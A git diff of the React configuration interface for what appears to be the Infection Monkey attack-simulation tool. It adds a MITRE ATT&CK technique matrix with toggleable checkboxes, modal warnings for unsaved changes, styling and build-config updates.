"redux": "^4.0.0",
|
||||
"sass-loader": "^7.1.0",
|
||||
"sha3": "^2.0.0",
|
||||
"react-spinners": "^0.5.4",
|
||||
"@emotion/core": "^10.0.10",
|
||||
|
|
|
@ -0,0 +1,119 @@
|
|||
import React from 'react';
|
||||
import Checkbox from '../ui-components/Checkbox'
|
||||
import Tooltip from 'react-tooltip-lite'
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import ReactTable from "react-table";
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
import '../../styles/Tooltip.scss';
|
||||
import {Col} from "react-bootstrap";
|
||||
|
||||
class MatrixComponent extends AuthComponent {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {lastAction: 'none'}
|
||||
};
|
||||
|
||||
// Finds which attack type has most techniques and returns that number
|
||||
static findMaxTechniques(data){
|
||||
let maxLen = 0;
|
||||
data.forEach(function(techType) {
|
||||
if (Object.keys(techType.properties).length > maxLen){
|
||||
maxLen = Object.keys(techType.properties).length
|
||||
}
|
||||
});
|
||||
return maxLen
|
||||
};
|
||||
|
||||
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
|
||||
static parseTechniques (data, maxLen) {
|
||||
let techniques = [];
|
||||
// Create rows with attack techniques
|
||||
for (let i = 0; i < maxLen; i++) {
|
||||
let row = {};
|
||||
data.forEach(function(techType){
|
||||
let rowColumn = {};
|
||||
rowColumn.techName = techType.title;
|
||||
|
||||
if (i <= Object.keys(techType.properties).length) {
|
||||
rowColumn.technique = Object.values(techType.properties)[i];
|
||||
if (rowColumn.technique){
|
||||
rowColumn.technique.name = Object.keys(techType.properties)[i]
|
||||
}
|
||||
} else {
|
||||
rowColumn.technique = null
|
||||
}
|
||||
row[rowColumn.techName] = rowColumn
|
||||
});
|
||||
techniques.push(row)
|
||||
}
|
||||
return techniques;
|
||||
};
|
||||
|
||||
getColumns(matrixData) {
|
||||
return Object.keys(matrixData[0]).map((key)=>{
|
||||
return {
|
||||
Header: key,
|
||||
id: key,
|
||||
accessor: x => this.renderTechnique(x[key].technique),
|
||||
style: { 'whiteSpace': 'unset' }
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
renderTechnique(technique) {
|
||||
if (technique == null){
|
||||
return (<div />)
|
||||
} else {
|
||||
return (<Tooltip content={technique.description} direction="down">
|
||||
<Checkbox checked={technique.value}
|
||||
necessary={technique.necessary}
|
||||
name={technique.name}
|
||||
changeHandler={this.props.change}>
|
||||
{technique.title}
|
||||
</Checkbox>
|
||||
</Tooltip>)
|
||||
}
|
||||
};
|
||||
|
||||
getTableData = (config) => {
|
||||
let configCopy = JSON.parse(JSON.stringify(config));
|
||||
let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));
|
||||
let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques);
|
||||
let columns = this.getColumns(matrixTableData);
|
||||
return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques}
|
||||
};
|
||||
|
||||
renderLegend = () => {
|
||||
return (
|
||||
<div id="header" className="row justify-content-between attack-legend">
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle-thin icon-unchecked"></i>
|
||||
<span> - Dissabled</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle icon-checked"></i>
|
||||
<span> - Enabled</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle icon-mandatory"></i>
|
||||
<span> - Mandatory</span>
|
||||
</Col>
|
||||
</div>)
|
||||
};
|
||||
|
||||
render() {
|
||||
let tableData = this.getTableData(this.props.configuration);
|
||||
return (
|
||||
<div>
|
||||
{this.renderLegend()}
|
||||
<div className={"attack-matrix"}>
|
||||
<ReactTable columns={tableData['columns']}
|
||||
data={tableData['matrixTableData']}
|
||||
showPagination={false}
|
||||
defaultPageSize={tableData['maxTechniques']} />
|
||||
</div>
|
||||
</div>);
|
||||
}
|
||||
}
|
||||
|
||||
export default MatrixComponent;
|
|
@ -1,84 +1,137 @@
|
|||
import React from 'react';
|
||||
import Form from 'react-jsonschema-form';
|
||||
import {Col, Nav, NavItem} from 'react-bootstrap';
|
||||
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
|
||||
import fileDownload from 'js-file-download';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import { FilePond } from 'react-filepond';
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
import MatrixComponent from "../attack/MatrixComponent";
|
||||
|
||||
const ATTACK_URL = '/api/attack';
|
||||
const CONFIG_URL = '/api/configuration/island';
|
||||
|
||||
class ConfigurePageComponent extends AuthComponent {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.PBAwindowsPond = null;
|
||||
this.PBAlinuxPond = null;
|
||||
this.currentSection = 'basic';
|
||||
this.currentSection = 'attack';
|
||||
this.currentFormData = {};
|
||||
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||
this.uiSchema = {
|
||||
behaviour: {
|
||||
custom_PBA_linux_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_linux_file: {
|
||||
"ui:widget": this.PBAlinux
|
||||
},
|
||||
custom_PBA_windows_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_file: {
|
||||
"ui:widget": this.PBAwindows
|
||||
},
|
||||
PBA_linux_filename: {
|
||||
classNames: "linux-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_filename: {
|
||||
classNames: "windows-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
}
|
||||
}
|
||||
};
|
||||
this.initialConfig = {};
|
||||
this.initialAttackConfig = {};
|
||||
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||
this.uiSchemas = this.getUiSchemas();
|
||||
// set schema from server
|
||||
this.state = {
|
||||
schema: {},
|
||||
configuration: {},
|
||||
attackConfig: {},
|
||||
lastAction: 'none',
|
||||
sections: [],
|
||||
selectedSection: 'basic',
|
||||
selectedSection: 'attack',
|
||||
allMonkeysAreDead: true,
|
||||
PBAwinFile: [],
|
||||
PBAlinuxFile: []
|
||||
PBAlinuxFile: [],
|
||||
showAttackAlert: false
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
this.authFetch('/api/configuration/island')
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
getUiSchemas(){
|
||||
return ({
|
||||
basic: {"ui:order": ["general", "credentials"]},
|
||||
basic_network: {},
|
||||
monkey: {
|
||||
behaviour: {
|
||||
custom_PBA_linux_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_linux_file: {
|
||||
"ui:widget": this.PBAlinux
|
||||
},
|
||||
custom_PBA_windows_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_file: {
|
||||
"ui:widget": this.PBAwindows
|
||||
},
|
||||
PBA_linux_filename: {
|
||||
classNames: "linux-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_filename: {
|
||||
classNames: "windows-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
}
|
||||
}
|
||||
},
|
||||
cnc: {},
|
||||
network: {},
|
||||
exploits: {},
|
||||
internal: {}
|
||||
})
|
||||
}
|
||||
|
||||
setInitialConfig(config) {
|
||||
// Sets a reference to know if config was changed
|
||||
this.initialConfig = JSON.parse(JSON.stringify(config));
|
||||
}
|
||||
|
||||
setInitialAttackConfig(attackConfig) {
|
||||
// Sets a reference to know if attack config was changed
|
||||
this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
|
||||
}
|
||||
|
||||
componentDidMount = () => {
|
||||
let urls = [CONFIG_URL, ATTACK_URL];
|
||||
Promise.all(urls.map(url => this.authFetch(url).then(res => res.json())))
|
||||
.then(data => {
|
||||
let sections = [];
|
||||
let attackConfig = data[1];
|
||||
let monkeyConfig = data[0];
|
||||
this.setInitialConfig(monkeyConfig.configuration);
|
||||
this.setInitialAttackConfig(attackConfig.configuration);
|
||||
for (let sectionKey of this.sectionsOrder) {
|
||||
sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title});
|
||||
if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
|
||||
else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
|
||||
}
|
||||
this.setState({
|
||||
schema: res.schema,
|
||||
configuration: res.configuration,
|
||||
schema: monkeyConfig.schema,
|
||||
configuration: monkeyConfig.configuration,
|
||||
attackConfig: attackConfig.configuration,
|
||||
sections: sections,
|
||||
selectedSection: 'basic'
|
||||
selectedSection: 'attack'
|
||||
})
|
||||
});
|
||||
this.updateMonkeysRunning();
|
||||
}
|
||||
};
|
||||
|
||||
onSubmit = ({formData}) => {
|
||||
this.currentFormData = formData;
|
||||
this.updateConfigSection();
|
||||
this.authFetch('/api/configuration/island',
|
||||
updateConfig = () => {
|
||||
this.authFetch(CONFIG_URL)
|
||||
.then(res => res.json())
|
||||
.then(data => {
|
||||
this.setInitialConfig(data.configuration);
|
||||
this.setState({configuration: data.configuration})
|
||||
})
|
||||
};
|
||||
|
||||
onSubmit = () => {
|
||||
if (this.state.selectedSection === 'attack'){
|
||||
this.matrixSubmit()
|
||||
} else {
|
||||
this.configSubmit()
|
||||
}
|
||||
};
|
||||
|
||||
matrixSubmit = () => {
|
||||
// Submit attack matrix
|
||||
this.authFetch(ATTACK_URL,
|
||||
{
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify(this.state.configuration)
|
||||
body: JSON.stringify(this.state.attackConfig)
|
||||
})
|
||||
.then(res => {
|
||||
if (!res.ok)
|
||||
|
@ -87,6 +140,18 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
return res;
|
||||
})
|
||||
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
|
||||
.then(this.updateConfig())
|
||||
.then(this.setState({lastAction: 'saved'}))
|
||||
.catch(error => {
|
||||
this.setState({lastAction: 'invalid_configuration'});
|
||||
});
|
||||
};
|
||||
|
||||
configSubmit = () => {
|
||||
// Submit monkey configuration
|
||||
this.updateConfigSection();
|
||||
this.sendConfig()
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({
|
||||
|
@ -94,6 +159,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
schema: res.schema,
|
||||
configuration: res.configuration
|
||||
});
|
||||
this.setInitialConfig(res.configuration);
|
||||
this.props.onStatusChange();
|
||||
}).catch(error => {
|
||||
console.log('bad configuration');
|
||||
|
@ -101,6 +167,32 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
// Alters attack configuration when user toggles technique
|
||||
attackTechniqueChange = (technique, value, mapped=false) => {
|
||||
// Change value in attack configuration
|
||||
// Go trough each column in matrix, searching for technique
|
||||
Object.entries(this.state.attackConfig).forEach(techType => {
|
||||
if(techType[1].properties.hasOwnProperty(technique)){
|
||||
let tempMatrix = this.state.attackConfig;
|
||||
tempMatrix[techType[0]].properties[technique].value = value;
|
||||
this.setState({attackConfig: tempMatrix});
|
||||
|
||||
// Toggle all mapped techniques
|
||||
if (! mapped ){
|
||||
// Loop trough each column and each row
|
||||
Object.entries(this.state.attackConfig).forEach(otherType => {
|
||||
Object.entries(otherType[1].properties).forEach(otherTech => {
|
||||
// If this technique depends on a technique that was changed
|
||||
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
|
||||
this.attackTechniqueChange(otherTech[0], value, true)
|
||||
}
|
||||
})
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
onChange = ({formData}) => {
|
||||
this.currentFormData = formData;
|
||||
};
|
||||
|
@ -111,10 +203,48 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
newConfig[this.currentSection] = this.currentFormData;
|
||||
this.currentFormData = {};
|
||||
}
|
||||
this.setState({configuration: newConfig});
|
||||
this.setState({configuration: newConfig, lastAction: 'none'});
|
||||
};
|
||||
|
||||
renderAttackAlertModal = () => {
|
||||
return (<Modal show={this.state.showAttackAlert} onHide={() => {this.setState({showAttackAlert: false})}}>
|
||||
<Modal.Body>
|
||||
<h2><div className="text-center">Warning</div></h2>
|
||||
<p className = "text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
|
||||
You have unsubmitted changes. Submit them before proceeding.
|
||||
</p>
|
||||
<div className="text-center">
|
||||
<button type="button"
|
||||
className="btn btn-success btn-lg"
|
||||
style={{margin: '5px'}}
|
||||
onClick={() => {this.setState({showAttackAlert: false})}} >
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</Modal.Body>
|
||||
</Modal>)
|
||||
};
|
||||
|
||||
userChangedConfig(){
|
||||
if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
|
||||
if(Object.keys(this.currentFormData).length === 0 ||
|
||||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
userChangedMatrix(){
|
||||
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
|
||||
}
|
||||
|
||||
setSelectedSection = (key) => {
|
||||
if ((key === 'attack' && this.userChangedConfig()) ||
|
||||
(this.currentSection === 'attack' && this.userChangedMatrix())){
|
||||
this.setState({showAttackAlert: true});
|
||||
return;
|
||||
}
|
||||
this.updateConfigSection();
|
||||
this.currentSection = key;
|
||||
this.setState({
|
||||
|
@ -124,7 +254,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
|
||||
resetConfig = () => {
|
||||
this.removePBAfiles();
|
||||
this.authFetch('/api/configuration/island',
|
||||
this.authFetch(CONFIG_URL,
|
||||
{
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
|
@ -137,8 +267,17 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
schema: res.schema,
|
||||
configuration: res.configuration
|
||||
});
|
||||
this.setInitialConfig(res.configuration);
|
||||
this.props.onStatusChange();
|
||||
});
|
||||
this.authFetch(ATTACK_URL,{ method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify('reset_attack_matrix')})
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({attackConfig: res.configuration});
|
||||
this.setInitialAttackConfig(res.configuration);
|
||||
})
|
||||
};
|
||||
|
||||
removePBAfiles(){
|
||||
|
@ -160,9 +299,8 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
try {
|
||||
this.setState({
|
||||
configuration: JSON.parse(event.target.result),
|
||||
selectedSection: 'basic',
|
||||
lastAction: 'import_success'
|
||||
});
|
||||
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
|
||||
this.currentSection = 'basic';
|
||||
this.currentFormData = {};
|
||||
} catch(SyntaxError) {
|
||||
|
@ -175,6 +313,26 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
|
||||
};
|
||||
|
||||
sendConfig() {
|
||||
return (
|
||||
this.authFetch('/api/configuration/island',
|
||||
{
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify(this.state.configuration)
|
||||
})
|
||||
.then(res => {
|
||||
if (!res.ok)
|
||||
{
|
||||
throw Error()
|
||||
}
|
||||
return res;
|
||||
}).catch(error => {
|
||||
console.log('bad configuration');
|
||||
this.setState({lastAction: 'invalid_configuration'});
|
||||
}));
|
||||
};
|
||||
|
||||
importConfig = (event) => {
|
||||
let reader = new FileReader();
|
||||
reader.onload = this.onReadFile;
|
||||
|
@ -251,13 +409,12 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
|
||||
static getFullPBAfile(filename){
|
||||
let pbaFile = [{
|
||||
return [{
|
||||
source: filename,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
static getMockPBAfile(mockFile){
|
||||
|
@ -271,39 +428,29 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
return pbaFile
|
||||
}
|
||||
|
||||
render() {
|
||||
let displayedSchema = {};
|
||||
if (this.state.schema.hasOwnProperty('properties')) {
|
||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
<Nav bsStyle="tabs" justified
|
||||
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
|
||||
style={{'marginBottom': '2em'}}>
|
||||
{this.state.sections.map(section =>
|
||||
<NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>
|
||||
)}
|
||||
</Nav>
|
||||
{
|
||||
this.state.selectedSection === 'basic_network' ?
|
||||
<div className="alert alert-info">
|
||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
|
||||
according to its range class.
|
||||
</div>
|
||||
: <div />
|
||||
}
|
||||
{ this.state.selectedSection ?
|
||||
<Form schema={displayedSchema}
|
||||
uiSchema={this.uiSchema}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onSubmit={this.onSubmit}
|
||||
onChange={this.onChange}
|
||||
noValidate={true}>
|
||||
<div>
|
||||
renderMatrix = () => {
|
||||
return (<MatrixComponent configuration={this.state.attackConfig}
|
||||
submit={this.componentDidMount}
|
||||
reset={this.resetConfig}
|
||||
change={this.attackTechniqueChange}/>)
|
||||
};
|
||||
|
||||
|
||||
renderConfigContent = (displayedSchema) => {
|
||||
return (<div>
|
||||
{this.renderBasicNetworkWarning()}
|
||||
<Form schema={displayedSchema}
|
||||
uiSchema={this.uiSchemas[this.state.selectedSection]}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onChange={this.onChange}
|
||||
noValidate={true} >
|
||||
<button type="submit" className={"hidden"}>Submit</button>
|
||||
</Form>
|
||||
</div> )
|
||||
};
|
||||
|
||||
renderRunningMonkeysWarning = () => {
|
||||
return (<div>
|
||||
{ this.state.allMonkeysAreDead ?
|
||||
'' :
|
||||
<div className="alert alert-warning">
|
||||
|
@ -312,17 +459,57 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
infections.
|
||||
</div>
|
||||
}
|
||||
<div className="text-center">
|
||||
<button type="submit" className="btn btn-success btn-lg" style={{margin: '5px'}}>
|
||||
Submit
|
||||
</button>
|
||||
<button type="button" onClick={this.resetConfig} className="btn btn-danger btn-lg" style={{margin: '5px'}}>
|
||||
Reset to defaults
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</Form>
|
||||
: ''}
|
||||
</div>)
|
||||
};
|
||||
|
||||
renderBasicNetworkWarning = () => {
|
||||
if (this.state.selectedSection === 'basic_network'){
|
||||
return (<div className="alert alert-info">
|
||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
|
||||
according to its range class.
|
||||
</div>)
|
||||
} else {
|
||||
return (<div />)
|
||||
}
|
||||
};
|
||||
|
||||
renderNav = () => {
|
||||
return (<Nav bsStyle="tabs" justified
|
||||
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
|
||||
style={{'marginBottom': '2em'}}>
|
||||
{this.state.sections.map(section => <NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>)}
|
||||
</Nav>)
|
||||
};
|
||||
|
||||
render() {
|
||||
let displayedSchema = {};
|
||||
if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
|
||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
let content = '';
|
||||
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
|
||||
content = this.renderMatrix()
|
||||
} else if(this.state.selectedSection !== 'attack') {
|
||||
content = this.renderConfigContent(displayedSchema)
|
||||
}
|
||||
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
{this.renderAttackAlertModal()}
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
{this.renderNav()}
|
||||
{ this.renderRunningMonkeysWarning()}
|
||||
{ content }
|
||||
<div className="text-center">
|
||||
<button type="submit" onClick={this.onSubmit} className="btn btn-success btn-lg" style={{margin: '5px'}}>
|
||||
Submit
|
||||
</button>
|
||||
<button type="button" onClick={this.resetConfig} className="btn btn-danger btn-lg" style={{margin: '5px'}}>
|
||||
Reset to defaults
|
||||
</button>
|
||||
</div>
|
||||
<div className="text-center">
|
||||
<button onClick={() => document.getElementById('uploadInputInternal').click()}
|
||||
className="btn btn-info btn-lg" style={{margin: '5px'}}>
|
||||
|
@ -355,7 +542,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
{ this.state.lastAction === 'invalid_configuration' ?
|
||||
<div className="alert alert-danger">
|
||||
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
||||
An invalid configuration file was imported and submitted, probably outdated.
|
||||
An invalid configuration file was imported or submitted.
|
||||
</div>
|
||||
: ''}
|
||||
{ this.state.lastAction === 'import_success' ?
|
||||
|
|
|
@ -2,7 +2,7 @@ import React from 'react';
|
|||
import ReactTable from 'react-table'
|
||||
|
||||
let renderArray = function(val) {
|
||||
return <span>{val.map(x => <span> {x}</span>)}</span>;
|
||||
return <span>{val.map(x => <span key={x}> {x}</span>)}</span>;
|
||||
};
|
||||
|
||||
let renderIpAddresses = function (val) {
|
||||
|
@ -36,7 +36,7 @@ let renderDetails = function (data) {
|
|||
columns={subColumns}
|
||||
defaultPageSize={defaultPageSize}
|
||||
showPagination={showPagination}
|
||||
style={{"background-color": "#ededed"}}
|
||||
style={{"backgroundColor": "#ededed"}}
|
||||
/>
|
||||
};
|
||||
|
||||
|
|
|
@ -0,0 +1,73 @@
|
|||
import '../../styles/Checkbox.scss'
|
||||
import React from 'react';
|
||||
|
||||
class CheckboxComponent extends React.PureComponent {
|
||||
|
||||
componentDidUpdate(prevProps) {
|
||||
if (this.props.checked !== prevProps.checked) {
|
||||
this.setState({checked: this.props.checked});
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Parent component can pass a name and a changeHandler (function) for this component in props.
|
||||
changeHandler(name, checked) function will be called with these parameters:
|
||||
this.props.name (the name of this component) and
|
||||
this.state.checked (boolean indicating if this component is checked or not)
|
||||
*/
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
checked: this.props.checked,
|
||||
necessary: this.props.necessary,
|
||||
isAnimating: false
|
||||
};
|
||||
this.toggleChecked = this.toggleChecked.bind(this);
|
||||
this.stopAnimation = this.stopAnimation.bind(this);
|
||||
this.composeStateClasses = this.composeStateClasses.bind(this);
|
||||
}
|
||||
|
||||
//Toggles component.
|
||||
toggleChecked() {
|
||||
if (this.state.isAnimating) {return false;}
|
||||
this.setState({
|
||||
checked: !this.state.checked,
|
||||
isAnimating: true,
|
||||
}, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null});
|
||||
}
|
||||
|
||||
// Stops ping animation on checkbox after click
|
||||
stopAnimation() {
|
||||
this.setState({ isAnimating: false })
|
||||
}
|
||||
|
||||
// Creates class string for component
|
||||
composeStateClasses(core) {
|
||||
let result = core;
|
||||
if (this.state.necessary){
|
||||
return result + ' blocked'
|
||||
}
|
||||
if (this.state.checked) { result += ' is-checked'; }
|
||||
else { result += ' is-unchecked' }
|
||||
|
||||
if (this.state.isAnimating) { result += ' do-ping'; }
|
||||
return result;
|
||||
}
|
||||
|
||||
render() {
|
||||
const cl = this.composeStateClasses('ui-checkbox-btn');
|
||||
return (
|
||||
<div
|
||||
className={ cl }
|
||||
onClick={ this.state.necessary ? void(0) : this.toggleChecked}>
|
||||
<input className="ui ui-checkbox"
|
||||
type="checkbox" value={this.state.checked}
|
||||
name={this.props.name}/>
|
||||
<label className="text">{ this.props.children }</label>
|
||||
<div className="ui-btn-ping" onTransitionEnd={this.stopAnimation}></div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
export default CheckboxComponent;
|
|
@ -186,6 +186,10 @@ body {
|
|||
.nav-tabs > li > a {
|
||||
height: 63px
|
||||
}
|
||||
|
||||
.nav > li > a:focus {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
/*
|
||||
* Run Monkey Page
|
||||
*/
|
||||
|
@ -516,6 +520,16 @@ body {
|
|||
|
||||
}
|
||||
|
||||
/* Attack config page */
|
||||
.attack-matrix .messages {
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.attack-legend {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.version-text {
|
||||
font-size: 0.9em;
|
||||
position: absolute;
|
||||
|
|
|
@ -0,0 +1,105 @@
|
|||
// colors
|
||||
$light-grey: #EAF4F4;
|
||||
$medium-grey: #7B9EA8;
|
||||
$dark-green: #007d02;
|
||||
$green: #44CF6C;
|
||||
$black: #000000;
|
||||
|
||||
.ui-checkbox-btn {
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
background-color: rgba(red, .6);
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
|
||||
input { display: none; }
|
||||
|
||||
.icon,
|
||||
.text {
|
||||
display: inline-block;
|
||||
color: inherit;
|
||||
}
|
||||
|
||||
.text {
|
||||
padding-top: 4px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
// color states
|
||||
&.is-unchecked {
|
||||
background-color: transparent;
|
||||
color: $black;
|
||||
fill: $black;
|
||||
}
|
||||
|
||||
&.blocked {
|
||||
background-color: $dark-green;
|
||||
color: $light-grey;
|
||||
fill: $light-grey;
|
||||
}
|
||||
|
||||
&.is-checked {
|
||||
background-color: $green;
|
||||
color: white;
|
||||
fill: white;
|
||||
}
|
||||
}
|
||||
|
||||
.icon {
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
|
||||
svg {
|
||||
position: absolute;
|
||||
top: 0; right: 0; bottom: 0; left: 0;
|
||||
margin: auto;
|
||||
width: 16px;
|
||||
height: auto;
|
||||
fill: inherit;
|
||||
}
|
||||
|
||||
.is-checked & {
|
||||
color: white;
|
||||
fill: white;
|
||||
}
|
||||
}
|
||||
|
||||
// ping animation magic
|
||||
.ui-btn-ping {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 100%;
|
||||
transform: translate3d(-50%, -50%, 0); // center center by default
|
||||
|
||||
// set the square
|
||||
&:before {
|
||||
content: '';
|
||||
transform: scale(0, 0); // center center by default
|
||||
transition-property: background-color transform;
|
||||
transition-timing-function: cubic-bezier(0.0, 0.0, 0.2, 1);
|
||||
display: block;
|
||||
padding-bottom: 100%;
|
||||
border-radius: 50%;
|
||||
background-color: rgba(white, .84);;
|
||||
}
|
||||
|
||||
.do-ping &:before {
|
||||
transform: scale(2.5, 2.5);
|
||||
transition-duration: .35s;
|
||||
background-color: rgba(white, .08);
|
||||
}
|
||||
}
|
||||
|
||||
.icon-checked{
|
||||
color:$green
|
||||
}
|
||||
|
||||
.icon-mandatory{
|
||||
color:$dark-green
|
||||
}
|
||||
|
||||
.icon-unchecked{
|
||||
color:$black;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
$background: #000000;
|
||||
$font: #fff;
|
||||
|
||||
.react-tooltip-lite {
|
||||
background: $background;
|
||||
color: $font;
|
||||
max-width: 400px !important;
|
||||
}
|
|
@ -18,6 +18,14 @@ module.exports = {
|
|||
'css-loader'
|
||||
]
|
||||
},
|
||||
{
|
||||
test: /\.scss$/,
|
||||
use: [
|
||||
'style-loader',
|
||||
'css-loader',
|
||||
'sass-loader'
|
||||
]
|
||||
},
|
||||
{
|
||||
test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
|
||||
use: {
|
||||
|
|
|
@ -22,4 +22,6 @@ awscli
|
|||
cffi
|
||||
virtualenv
|
||||
wheel
|
||||
mongoengine
|
||||
mongomock
|
||||
requests
|
||||
|
|
Loading…
Reference in New Issue